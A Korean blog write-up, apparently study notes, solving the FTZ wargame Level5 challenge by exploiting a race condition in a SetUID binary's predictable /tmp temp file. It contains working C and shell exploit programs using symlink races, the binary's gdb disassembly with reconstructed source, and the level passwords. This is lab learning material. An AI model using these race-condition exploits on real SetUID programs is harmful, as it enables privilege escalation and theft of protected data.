본문 바로가기

Learning/└◆Reversing

05_Level5 -> Level6[FTZ] 레이스 컨디션 스크립트 만들기


■ Level5 -> Level6  


 

 

■ 목적

레이스 컨디션(Race Condition, 경쟁상태/경쟁조건)

다수의 프로세스가 서로 동일한 자원을 할당받기 위해 경쟁하는 상태.

 

예) 웹 사이트 뒤로 누르면 뒤로 안가는 사이트가 있다. 뒤로 보내줘야하지만 보안상 못가게 점검한다. 뒤로를 굉장히 빠르게 누르면 뒤로 넘어갈 수 있다. 코딩의 문제이며, 레이스컨디션의 예제로 들수 있다. (경쟁하다가 프로그래머가 생각하지 못한것이 발생할 수 있다.)


CPU스케줄링 

-현재 Round Robin방식이 가장 많이 사용되고 있다.

-SJF는 짧은 작업이 게속들어오면 긴작없이 중요하지만 실행할 수 없는 단점이 생긴다.

-RR은 일정한 단위로 작업을 쪼개서 작업하기 때문에, 운영체제의 속도보다 CPU속도가 천배는 빠르기 때문에 가능하다.

 

레이스 컨디션(Race Condition)

다수의 프로세스가 서로 동일한 자원을 할당받기 위해 경쟁하는 상태이다.

 

레이스 컨디션(Race Condition)전제조건

-다른 계정의 권한에 접근해야 하므로 SetUID가 걸려 있어야 한다.

-임시 파일을 생성해야 한다.

-공격자가 임시로 생성되는 파일명을 정확하게 알아야 한다. (#lsof pid)

 

레이스 컨디션이 발생하는 경우의 예

(일반적인 프로그램 실행시)

파일생성

생성된 파일에 내용쓰기

쓴 내용을 읽어들여 처리/사용

파일 삭제

 

 

■ level5 문제에 도전하기

 

level5 사용자로 로그인

-> ID/PASS: level5/what is your name?

 

$ ls -l

 

합계 12

-rw-r--r-- 1 root    root      129  323 2000 hint

drwxr-xr-x 2 root    level5    4096 224 2002 public_html

drwxrwx--- 2 root    level5    4096 116 2009 tmp

 

 

$ cat hint

 

 

/usr/bin/level5 프로그램은 /tmp 디렉토리

level5.tmp 라는 이름의 임시파일을 생성한다.

 

이를 이용하여 level6의 권한을 얻어라.

 

 

level5.tmp 라는 파일이 생성되는 것 같다.

/usr/bin/에 가보면 해당 파일이 존재하는 것을 볼 수 있다.

 

$ ls -l /usr/bin/level5

 

-rws--x---  1 level6    level5    12236 819 12:58 /usr/bin/level5

 

SETUID 권한이 있고 level5 그룹은 실행 권한만 있다.

 

$ find / -user level6 -perm -4000 2>/dev/null

 

/usr/bin/level5

 

 

$ /usr/bin/level5 ; ls -l /tmp/level5.tmp

 

ls: /tmp/level5.tmp: 그런 파일이나 디렉토리가 없음

 

/usr/bin/lebel5 프로그램을 실행시켜 본다.

-> 파일이 빨리 생성 되었다가 지워지기 때문에 없는것 처럼 보인다.

/tmp 에도 level5.tmp가 존재하지 않는다.

 

아마 프로그램이 실행되면 level5.tmp가 생성되고 바로 삭제되는 것 같다.

여기서 포인트는 level5.tmp를 미리 생성해보면 어떨까 이다.

이것이 레이스 컨디션 기술이다.

 

예를 들어

프로그램이

level5.tmp를 생성하고

무언가 내용을 삽입한뒤

다시 삭제하는 동작을 하는 프로그램이라면

 

내가 미리 level5.tmp파일을 생성하고 그 내용을 출력하게 동작 시킨다면

 

/usr/bin/level5의 실행동작 과정중

무언가 내용을 삽입할 때

동시에 내가 만들 파일(level5.tmp)이 동작하게 하는 것이다.

삭제 되기전에 안에 내용을 출력할수 있도록.

 

원리를 통해서 손쉽게 클리어 할 수 있다.

$ touch level5.tmp

$ /usr/bin/level5

$ cat level5.tmp

next password : what the hell

 

$ ls -l level5.tmp

-rw-rw-r--     1  level5   level5               31   jan   16   19:28   level5.tmp

 

이런 동작을 레이스 컨디션(Race Condition)이라고 한다.

프로세서들이 여러번 실행되는 과정에서 실행 순서가 뒤바뀌어 실행자가 원하는 결과를 얻는 것이다.

일종의 경쟁 상태라고 해석하면 된다.

 

아마도 여기에선 fopen을 사용한 것 같다.

fopen의 특징으로는 경로안에 해당 파일이 없을 경우 새로 생성하고, 만약 존재하면 그 파일을 사용한다.

그냥 덮어 써버리는 것이다.

 

이를 이용해서 내가 만든 프로그램을 level5.tmp에 심볼릭 링크를 걸고

그안에 내용이 추가되면 남기도록 하거나 혹은 출력하게 하고 그 동작을 반복 시킨다면 기존에

/usr/bin/level5 프로그램이 실행되는 과정에서 password가 출력되는 순간을 잡아낼 것이다.

$ vi test.txt

$ ln -s /tmp/test.txt /tmp/level5.tmp

$ /usr/bin/level5

$ cat/tmp/level5.tmp

$ cat test.txt 

이런 원리라고 설명할수 있다.

 

 

이 원리를 바탕으로 간단하게 스크립트를 만들어 보자.

 

$ cd tmp

$ vi runTarget.c

#include <unistd.h>


int main(void)

{

        int i;

        for(i=0; i<10; i++)

        {

                system("/usr/bin/level5 &");

        }

}

 

 

$ vi Attack_Target.c

#include<unistd.h>


int main()

{


        int i;


        system("touch /tmp/18pass.txt");

        for(i=0; i<=10; i++)

        {

                system("ln -s /tmp/18pass.txt /tmp/level5.tmp");

        }

        system("cat /tmp/18pass.txt");

        system("rm -rf /tmp/18pass.txt");

}

 

$ vi Attack_Target.sh

#!/bin/bash


#

#       # gcc -o Attack_Target Attack_Target.c

#       # gcc -o runTarget runTarget.c

#       # ./Attack_Target.sh

#


./runTarget &

./Attack_Target

 

$ gcc -o Attack_Target Attack_Target.c

$ gcc -o runTarget runTarget.c 

 

$ chmod 755 Attack_Target.sh

$ ./Attack_Target.sh

 

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

next password : what the hell

 

레이스 컨디션 공격 타이밍

스크립트 해석  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

-------------------------- Attack_Target.sh -------------------------------------------

Attack_Target process     runTarget process

(ㄱ) 프로그램 실행         (ㄱ) 프로그램 실행

(ㄴ) 파일 생성(/tmp/18pass.txt)

|

+-------> (ㄷ)링크 파일 생성 <--(ㄴ) 파일을 생성할려고 하지만 미리 만들어져 있음

              (/tmp/level5.tmp)

(ㄷ) 파일에 내용 추가

(ㄹ) 파일 내용 확인(/tmp/level5.tmp)

(ㅁ) 파일 삭제(EX:rm -f /tmp/18pass.txt)(ㄹ) 파일 삭제(EX: rm -f /tmp/level5.tmp)

(ㅂ) 프로그램 종료 (ㅁ) 프로그램 종료



=======================================================================================

 

이번에는 좀더 확률을 높혀보는 생각을 해보자.

 

thread를 사용하여 좀 더 공격방법을 진화 시켜 보자.

 

[참고] Process & Thread 대해서

Thread방식의 대표는 JAVA

-하나의 프로세스를 띄운다. 메인 자바 프레임이 뜨고 관리하는 자바프레임이 뜬다.

-프로세스 하나를 메모리 크게 10G, 50G만큼 잡는다.

-동작을 할때 코드부분 하나로 올리고 각각의 프로세스가 갖고 올라가는 환경변수를 링크를 건다.

-Process방식의 코드부분이 절약할 수 있어서 좋다.


Process방식 대표는 httpd

-웹브라우저로 요청하면 웹데몬하나와 통신한다. 

-다른 사용자가 요청하면 다른 웹데몬이 생겨서 웹브라우저와 통신(웹브라우저와 웹데몬 하나씩 통신)

-프로세스 하나당 변하지 않는 코드부분과 변수부분이 있다. 매번 실행될때 마다 이 부분이 올라간다.


효율성- Thread방식이 더 우수하다.

 

$ vi Attack_Target2.c

#include <stdio.h>

#include <stdlib.h>

#include <pthread.h>


/*

        Complie Option: -pthread

        # gcc -o Attack_Target Attack_Target2.c -pthread

        # ./Attack_Target

*/


void *exec_cmd();

void *exec_race();


int main()

{

pthread_t thread1, thread2;

char *message1 = "Thread 1";

char *message2 = "Thread 2";


int iret1, iret2, i;


iret1 = pthread_create(&thread1, NULL, exec_cmd, (void *) message1);

iret2 = pthread_create(&thread2, NULL, exec_race, (void *) message2);


        pthread_join(thread1, NULL);

        pthread_join(thread2, NULL);


printf("Thread1 return: %d\n", iret1);

printf("Thread2 return: %d\n", iret2);


return 0;

}


void *exec_cmd()

{

int i;


for(i=0; i<10; i++)

{

       system("/usr/bin/level5 &");

       printf("---------- Execute level5 ----------\n");

}

exit(0);

}


void *exec_race()

{

int i;

system("touch /tmp/18pass.txt");

for(i=0; i<10; i++)

{

       system("ln -s /tmp/18pass.txt /tmp/level5.tmp &");

       printf("=========== Sucessfully create link !!! ========\n");

       system("cat /tmp/18pass.txt");

}

exit(0);

}


프로그램이 어떻게 동작하는지 분석하기 위해서

printf() 함수를 각 라인에 붙여서 프로그램을 동작을 시키면 좀더 효과적으로 분석할 수 있다.

확인하기 위해 FTZ Server의 root 계정으로 로그인한다. 

$ su - root

root 사용자의 암호 입력

# rm -f /tmp/18pass.txt /tmp/level5.tmp

# exit

 

$ gcc -o Attack_Target Attack_Target2.c -pthread

$ ./Attack_Target

 

 

$ telnet localhost

level6/what the hell

<CTRL + ]>

telnet> quit

$

 

$ cd /tmp

$ ls -l

 

합계 16

-rw-rw-r-- 1 level5 level5 31 1126 17:54 18pass.txt

-rw-rw-r-- 1 level4 level3 107 1125 18:54 backdoor2.c

lrwxrwxrwx 1 level5 level5 15 1126 17:54 level5.tmp -> /tmp/18pass.txt

drwx------ 2 root root 4096 1126 15:39 orbit-root

drwx------ 2 root root 4096 1126 15:38 ssh-XXugNuiN

 

$ cat 18pass.txt

 

next password : what the hell

 

------------------------------------------------------------------------------------------------

 

 

리버싱을 통한 의사 코드 복원

정적 분석 방법 : 바이너리 형태를 어셈블리 형태로 바로 분석.

 

$ ls -l /usr/bin/level5

 

-rws--x--- 1 level6 level5 12236 819 12:58 /usr/bin/level5

 

-> 실행만 할 수 있기 때문 gdb로 디버깅할 수 없다.

-> level6의 password를 알아냈기 때문에 다음 레벨의 권한으로 디버깅 작업을 수행한다.

 

$ gdb /usr/bin/level5

 

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disas main

Dump of assembler code for function main:

0x0804842c <main+0>:    push   %ebp

0x0804842d <main+1>:    mov    %esp,%ebp

0x0804842f <main+3>:    sub    $0x8,%esp

0x08048432 <main+6>:    and    $0xfffffff0,%esp

0x08048435 <main+9>:    mov    $0x0,%eax

0x0804843a <main+14>:   sub    %eax,%esp

0x0804843c <main+16>:   sub    $0x8,%esp

0x0804843f <main+19>:   push   $0x180

0x08048444 <main+24>:   push   $0x8048580       <-- "/tmp/level5.tmp"

0x08048449 <main+29>:   call   0x804832c <creat>  문제가 되는 creat함수

                                                  int creat(const char *pathname,

                                                  mode_t mode);

<creat> 생성하고 싶은 파일이름과 모듈을 쓴다.(있으면 사용, 없으면 생성) <-- 취약한 부분

0x0804844e <main+34>:   add    $0x10,%esp

0x08048451 <main+37>:   mov    %eax,0xfffffffc(%ebp)

0x08048454 <main+40>:   cmpl   $0x0,0xfffffffc(%ebp)   비교하는 동작 후 점프

0x08048458 <main+44>:   jns    0x8048484 <main+88>

                                                    if(fd < 0) { 파일생성 실패 }

                                                    else { 파일생성 성공 } 

0x0804845a <main+46>:   sub    $0xc,%esp         <-- main+40 이 참이면 동작하는 구문

0x0804845d <main+49>:   push   $0x80485a0

0x08048462 <main+54>:   call   0x804835c <printf>  <-- 에러 출력구문

0x08048467 <main+59>:   add    $0x10,%esp

0x0804846a <main+62>:   sub    $0xc,%esp

0x0804846d <main+65>:   push   $0x8048580

0x08048472 <main+70>:   call   0x804833c <remove> /* int remove(const char *pathname); 

0x08048477 <main+75>:   add    $0x10,%esp

0x0804847a <main+78>:   sub    $0xc,%esp

0x0804847d <main+81>:   push   $0x0

0x0804847f <main+83>:   call   0x804836c <exit>

0x08048484 <main+88>:   sub    $0x4,%esp

0x08048487 <main+91>:   push   $0x1f

0x08048489 <main+93>:   push   $0x80485e0          <-- level6 passwd 내용

0x0804848e <main+98>:   pushl  0xfffffffc(%ebp)     버퍼의 크기만큼 내용을 집어넣는다.

0x08048491 <main+101>:  call   0x804830c <write> /* ssize_t write(int fd, const void *b                                                  uf, size_t count); */

0x08048496 <main+106>:  add    $0x10,%esp

0x08048499 <main+109>:  sub    $0xc,%esp

0x0804849c <main+112>:  pushl  0xfffffffc(%ebp)

0x0804849f <main+115>:  call   0x804831c <close>       열린 파일을 닫는 동작

---Type <return> to continue, or q <return> to quit---

0x080484a4 <main+120>:  add    $0x10,%esp

0x080484a7 <main+123>:  sub    $0xc,%esp

0x080484aa <main+126>:  push   $0x8048580              임시파일을 삭제하는 동작

0x080484af <main+131>:  call   0x804833c <remove>     int remove(const char *pathname);

0x080484b4 <main+136>:  add    $0x10,%esp

0x080484b7 <main+139>:  leave

0x080484b8 <main+140>:  ret

0x080484b9 <main+141>:  nop

0x080484ba <main+142>:  nop

0x080484bb <main+143>:  nop

End of assembler dump.

(gdb) x/s 0x8048580

0x8048580 <_IO_stdin_used+28>:   "/tmp/level5.tmp"

(gdb) x/s 0x80485a0

0x80485a0 <_IO_stdin_used+60>:   "Can not creat a temporary file.\n"

(gdb) x/s 0x80485e0

0x80485e0 <_IO_stdin_used+124>:  "next password : what the hell\n"

(gdb) x/s 0x8048580

0x8048580 <_IO_stdin_used+28>:   "/tmp/level5.tmp"

(gdb) quit

 

 

 

 

복원된 의사 코드

# vi level5.c

 

#include <stdio.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>


#define PERM 0x180


int main()

{

        int fd;

        char nextPass[] = "next password : what the hell\n";

        char *tempfile = "/tmp/level5.tmp;


        // temporary file create

        fd = create(tempFile, PERM);

        if(fd < 0)

        {

                printf("Can not create a temporary file.\n");  정상적으로 생성이 안되면

                remove(tempFile);

                exit(0);

        }

        else

        {

                write(fd, nextPass, strlen(nextPass));  그렇지 않으면 정상동작

                close(fd);

                remove(tempFile);

        }

        return 0;

}

 

 

 

 

원본 소스 코드

# vi level5.c

 

#include <unistd.h>

#include <stdio.h>

#include <fcntl.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <stdlib.h>

#include <string.h>


#define TMP_FILE        "/tmp/level5.tmp"

#define LVL6_PASS       "next password : what the hell\n"


int main( void )

{

    int fd;


    fd = creat( TMP_FILE, S_IRUSR|S_IWUSR );

    if( fd < 0 )

    {

        printf( "Can not creat a temporary file.\n" );

        remove( TMP_FILE );

        exit(0);

    }


    write( fd, LVL6_PASS, strlen( LVL6_PASS ) + 1 );

    close( fd );


    remove( TMP_FILE );

}

 

의사코드나 원본코드나 어셈블리 상태에서는 같은 동작을 하게 된다.  

 

==============================================================================

 

다른 방법을 통한 문제 풀이

http://inhack.org/wordpress/?p=1968


위 링크의 원본 내용을 되도록 손상시키지 않는 범위내에서 문서를 작성하였습니다.

 

level5 사용자로 로그인

-> level5/what is your name?

 

[level5@ftz tmp]$ su - root

root 사용자의 암호 입력

[root@ftz root]# rm -f /tmp/18pass.txt /tmp/level5.tmp /tmp/level6

[root@ftz root]# exit

 

[level5@ftz level5]$ cd tmp

[level5@ftz tmp]$ vi racecon1.c

 

#include <stdio.h>

int main()

{

while(1) system("/usr/bin/level5");      무한루프로 실행 while(1) /usr/bin/에 있는 level5를

return 0;                                                실행시키는 프로그램

}

 

 

[level5@ftz tmp]$ vi racecon2.c

 

#include <stdio.h>

int main()

{

while(1) system("ln -s /tmp/level6 /tmp/level5.tmp");   level5.tmp를 level6으로 심볼릭링크

return 0;

}

 

 

[level5@ftz tmp]$ vi racecon3.c

 

#include <stdio.h>

int main()

{

while(1) system("tail -f /tmp/level6");          모니터링과정 / 무한루프 비효율

return 0;

}

 

여기서 읽는 역할을 반복할 필요는 없다.

cat 명령어를 사용하면 무난하다.

 

[level5@ftz tmp]$ gcc -o racecon1 racecon1.c

[level5@ftz tmp]$ gcc -o racecon2 racecon2.c

[level5@ftz tmp]$ gcc -o racecon3 racecon3.c

[level5@ftz tmp]$ ./racecon1 & ./racecon2 2>/dev/null & ./racecon3 2>/dev/null

 

[1] 4453

[2] 4454

next password : what the hell

<CTRL + Z>

[3]+ Stopped ./racecon3 2>/dev/null

 

 

[level5@ftz tmp]$ pgrep -lf racecon

 

11647 ./racecon1

11648 ./racecon2

11649 ./racecon3

 

 

[level5@ftz tmp]$ pgrep racecon

 

11647

11648

11649

 

 

[level5@ftz tmp]$ kill -9 `pgrep racecon`

 

[3]+ 죽었음 ./racecon3 2>/dev/null